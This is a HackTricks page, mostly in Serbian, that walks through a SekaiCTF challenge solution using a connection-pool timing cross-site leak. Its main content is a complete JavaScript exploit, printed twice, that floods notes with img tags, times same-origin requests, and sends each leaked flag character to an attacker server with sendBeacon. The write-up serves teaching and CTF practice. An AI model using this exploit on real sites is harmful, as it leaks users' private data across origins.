Connection Pool by Destination Example

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

U ovoj eksploataciji, @terjanq predlaže još jedno rešenje za izazov pomenut na sledećoj stranici:

Hajde da vidimo kako ova eksploatacija funkcioniše:

Napadač će ubaciti belešku sa što više <img tagova koji učitavaju /js/purify.js (više od 6 da blokira izvor).
Zatim, napadač će ukloniti belešku sa indeksom 1.
Zatim, napadač će [naterati bota da pristupi stranici sa preostalom beleškom] i poslaće zahtev na victim.com/js/purify.js koji će meriti.
Ako je vreme veće, injekcija je bila u belešci koja je ostala, ako je vreme manje, zastavica je bila tamo.

Iskreno, čitajući skriptu, propustio sam deo gde napadač natera bota da učita stranicu kako bi aktivirao img tagove, ne vidim ništa slično u kodu.

<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}

add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"

let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"

let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>

Podržite HackTricks

Proverite planove pretplate!
Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

PreviousConnection Pool Examples NextCookie Bomb + Onerror XS Leak

Last updated 4 months ago

<html> <head> <script> const SITE_URL = 'https://safelist.ctf.sekai.team/'; const PING_URL = 'https://myserver'; function timeScript(){ return new Promise(resolve => { var x = document.createElement('script'); x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(`Time: ${Date.now() - start}`); //Time request resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add_note = async (note) => { let x = document.createElement('form') x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx" let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() } remove_note = async (note_id) => { let x = document.createElement('form') x.action = SITE_URL+"remove" x.method = "POST" x.target = "_blank" let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() } const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' var prefix = 'SEKAI{xsleakyay'; const TIMEOUT = 500; async function checkLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join(''); await add_note(payload); await sleep(TIMEOUT); await timeScript(); await remove_note(1); //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT); const time = await timeScript(); //Find out how much a request to the same origin takes navigator.sendBeacon(PING_URL, [letter,time]); if(time>100){ return 1; } return 0; } window.onload = async () => { navigator.sendBeacon(PING_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(await checkLetter(letter)){ prefix += letter; navigator.sendBeacon(PING_URL, prefix); break; } } // } }; </script> </head> <body> </body> </html>